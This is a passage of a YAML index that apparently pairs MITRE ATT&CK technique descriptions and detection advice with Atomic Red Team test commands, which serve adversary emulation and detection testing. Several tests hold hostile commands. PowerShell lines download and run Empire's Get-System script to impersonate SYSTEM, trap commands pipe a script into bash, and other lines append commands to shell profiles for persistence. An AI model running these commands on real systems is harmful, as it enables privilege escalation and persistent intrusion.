      description: "Adversaries may inject malicious code into processes via thread
        local storage (TLS) callbacks in order to evade process-based defenses as
        well as possibly elevate privileges. TLS callback injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nTLS callback injection involves manipulating pointers inside a portable
        executable (PE) to redirect a process to malicious code before reaching the
        code's legitimate entry point. TLS callbacks are normally used by the OS to
        setup and/or cleanup data used by threads. Manipulating TLS callbacks may
        be performed by allocating and writing to specific offsets within a process’
        memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055)
        techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation:
        FireEye TLS Nov 2017)\n\nRunning code in the context of another process may
        allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via TLS callback injection may also evade detection
        from security products since the execution is masked under a legitimate process. "
      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:30.984Z'
      created: '2020-01-14T01:30:41.092Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1547.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.003
        url: https://attack.mitre.org/techniques/T1547/003
      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
          Retrieved March 26, 2018.
        source_name: Microsoft W32Time Feb 2018
      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        source_name: Microsoft TimeProvider
      - url: https://github.com/scottlundgren/w32time
        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
          2018.
        source_name: Github W32Time Oct 2017
      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
          Retrieved March 26, 2018.
        source_name: Microsoft W32Time May 2017
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Time Providers
      description: |-
        Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

        Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

        Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T15:24:26.476Z'
      created: '2020-01-24T15:51:52.317Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_detection: |-
        Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)

        The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Scott Lundgren, @5twenty9, Carbon Black
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1134.001:
    technique:
      created: '2020-02-18T16:39:06.289Z'
      modified: '2020-03-26T21:29:18.608Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d
      description: |-
        Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.

        An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.
      name: Token Impersonation/Theft
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1134.001
        url: https://attack.mitre.org/techniques/T1134/001
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1134.001
    atomic_tests:
    - name: Named pipe client impersonation
      auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

        Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
        name: powershell
        elevation_required: true
    - name: "`SeDebugPrivilege` token duplication"
      auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
        name: powershell
        elevation_required: true
  T1546.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.005
        url: https://attack.mitre.org/techniques/T1546/005
      - source_name: Trap Manual
        url: https://ss64.com/bash/trap.html
        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
      - source_name: Cyberciti Trap Statements
        url: https://bash.cyberciti.biz/guide/Trap_statement
        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
          2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Trap
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.

        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T16:43:02.273Z'
      created: '2020-01-24T14:17:43.906Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: Trap commands must be registered for the shell or programs,
        so they appear in files. Monitoring files for suspicious or overly broad trap
        commands can narrow down suspicious behavior during an investigation. Monitor
        for suspicious processes executed through trap interrupts.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - macOS
      - Linux
      identifier: T1546.005
    atomic_tests:
    - name: Trap
      auto_generated_guid: a74b2e07-5952-4c03-8b56-56274b076b61
      description: |
        After exiting the shell, the script will download and execute.
        After sending a keyboard interrupt (CTRL+C) the script will download and execute.
      supported_platforms:
      - macos
      - linux
      executor:
        command: |
          trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh | bash" EXIT
          exit
          trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh | bash" SIGINt
        name: sh
  T1546.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.004
        url: https://attack.mitre.org/techniques/T1546/004
      - source_name: intezer-kaiji-malware
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
      - source_name: bencane blog bashrc
        url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
        description: Benjamin Cane. (2013, September 16). Understanding a little more
          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
      - source_name: anomali-rocke-tactics
        url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
          December 17, 2020.
      - source_name: Linux manual bash invocation
        url: https://wiki.archlinux.org/index.php/Bash#Invocation
        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
      - source_name: Tsunami
        url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
      - source_name: anomali-linux-rabbit
        url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
          Malware Out of a Hat. Retrieved December 17, 2020.
      - source_name: Magento
        url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
          Vector. Retrieved December 17, 2020.
      - source_name: ScriptingOSX zsh
        url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
          Files. Retrieved February 25, 2021.'
      - source_name: PersistentJXA_leopitt
        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
          for macOS. Retrieved January 11, 2021.
      - source_name: code_persistence_zsh
        url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
          Retrieved January 11, 2021.
      - source_name: ESF_filemonitor
        url: https://objective-see.com/blog/blog_0x48.html
        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Unix Shell Configuration Modification
      description: "Adversaries may establish persistence through executing malicious
        commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s
        execute several configuration scripts at different points throughout the session
        based on events. For example, when a user opens a command-line interface or
        remotely logs in (such as via SSH) a login shell is initiated. The login shell
        executes scripts from the system (<code>/etc</code>) and the user’s home directory
        (<code>~/</code>) to configure the environment. All login shells on a system
        use /etc/profile when initiated. These configuration scripts run at the permission
        level of their directory and are often used to set environment variables,
        create aliases, and customize the user’s environment. When the shell exits
        or terminates, additional shell scripts are executed to ensure the shell exits
        appropriately. \n\nAdversaries may attempt to establish persistence by inserting
        commands into scripts automatically executed by shells. Using bash as an example,
        the default shell for most GNU/Linux systems, adversaries may add commands
        that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code>
        files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These
        files typically require root permissions to modify and are executed each time
        any shell on a system launches. For user level permissions, adversaries can
        insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>,
        or <code>~/.profile</code> which are sourced when a user opens a command-line
        interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation:
        Linux manual bash invocation) Since the system only executes the first existing
        file in the listed order, adversaries have used <code>~/.bash_profile</code>
        to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code>
        file which is additionally executed if the connection is established remotely
        or an additional interactive shell is opened, such as a new tab in the command-line
        interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation:
        Magento) Some malware targets the termination of a program to trigger execution,
        adversaries can use the <code>~/.bash_logout</code> file to execute malicious
        commands at the end of a session. \n\nFor macOS, the functionality of this
        technique is similar but may leverage zsh, the default shell for macOS 10.15+.
        When the Terminal.app is opened, the application launches a zsh login shell
        and a zsh interactive shell. The login shell configures the system environment
        using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,
        and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:
        code_persistence_zsh) The login shell then configures the user environment
        with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive
        shell uses the <code>~/.zshrc</code> to configure the user environment. Upon
        exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.
        For legacy programs, macOS executes <code>/etc/bashrc</code> on startup."
      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-08T15:22:54.089Z'
      created: '2020-01-24T14:13:45.936Z'
      x_mitre_contributors:
      - Robert Wilson
      - Tony Lambert, Red Canary
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: "While users may customize their shell profile files, there
        are only certain types of commands that typically appear in these files. Monitor
        for abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network when user profiles are loaded
        during the login process.\n\nMonitor for changes to <code>/etc/profile</code>
        and <code>/etc/profile.d</code>, these files should only be modified by system
        administrators. MacOS users can leverage Endpoint Security Framework file
        events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor
        most Linux and macOS systems, a list of file paths for valid shell options
        available on a system are located in the <code>/etc/shells</code> file.\n"
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1546.004
    atomic_tests:
    - name: Add command to .bash_profile
      auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f
      description: 'Adds a command to the .bash_profile file of the current user

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bash_profile file
          type: String
          default: "/path/to/script.py"
      executor:
        command: 'echo "#{command_to_add}" >> ~/.bash_profile

'
        name: sh
    - name: Add command to .bashrc
      auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f
      description: 'Adds a command to the .bashrc file of the current user

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bashrc file
          type: String
          default: "/path/to/script.py"
      executor:
        command: 'echo "#{command_to_add}" >> ~/.bashrc

'
        name: sh
  T1055.014:
    technique:
      id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5
      description: "Adversaries may inject malicious code into processes via VDSO
        hijacking in order to evade process-based defenses as well as possibly elevate
        privileges. Virtual dynamic shared object (vdso) hijacking is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nVDSO hijacking involves redirecting calls to dynamically linked shared
        libraries. Memory protections may prevent writing executable code to a process
        via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).
        However, an adversary may hijack the syscall interface code stubs mapped into
        a process from the vdso shared object to execute syscalls to open and map
        a malicious shared object. This code can then be invoked by redirecting the
        execution flow of the process via patched memory address references stored
        in a process' global offset table (which store absolute addresses of mapped
        library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace
        VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in
        the context of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via VDSO hijacking
        may also evade detection from security products since the execution is masked
        under a legitimate process.  "
      name: VDSO Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055.014
        url: https://attack.mitre.org/techniques/T1055/014
      - source_name: ELF Injection May 2009
        url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
          GOT poisoning. Retrieved March 15, 2020.
      - source_name: Backtrace VDSO
        url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
          Retrieved June 15, 2020.
      - source_name: VDSO Aug 2005
        url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
          June 16, 2020.
      - source_name: Syscall 2014
        url: https://lwn.net/Articles/604515/
        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
          2. Retrieved June 16, 2020.
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-06-20T22:28:45.232Z'
      created: '2020-01-14T01:35:00.781Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace
        and mmap, that can be used to attach to, manipulate memory, then redirect
        a processes' execution path. Monitoring for Linux specific calls such as the
        ptrace system call should not generate large amounts of data due to their
        specialized nature, and can be a very effective method to detect some of the
        common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation:
        GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)
        \n\nAnalyze process behavior to determine if a process is performing actions
        it usually does not, such as opening network connections, reading files, or
        other suspicious actions that could relate to post-compromise behavior. "
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Linux
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1078:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078
        url: https://attack.mitre.org/techniques/T1078
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
      name: Valid Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-12T18:27:52.298Z'
      created: '2017-05-31T21:31:00.645Z'
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_defense_bypassed:
      - Firewall
      - Host intrusion prevention systems
      - Network intrusion detection system
      - Application control
      - System access controls
      - Anti-virus
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1546.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.003
        url: https://attack.mitre.org/techniques/T1546/003
      - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
          Front Lines. Retrieved May 18, 2016.'
        source_name: Mandiant M-Trends 2015
      - source_name: FireEye WMI SANS 2015
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
          4, 2020.
      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        source_name: FireEye WMI 2015
      - url: https://www.secureworks.com/blog/wmi-persistence
        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
        source_name: Dell WMI Persistence
      - source_name: Microsoft MOF May 2018
        url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
          January 24, 2020.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
          WMI Persistence. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
        source_name: Medium Detecting WMI Persistence
      - source_name: Elastic - Hunting for Persistence Part 1
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
      - source_name: Microsoft Register-WmiEvent
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
        description: Microsoft. (n.d.). Retrieved January 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Windows Management Instrumentation Event Subscription
      description: |-
        Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)

        Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)

        WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-13T21:32:54.094Z'
      created: '2020-01-24T14:07:56.276Z'
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
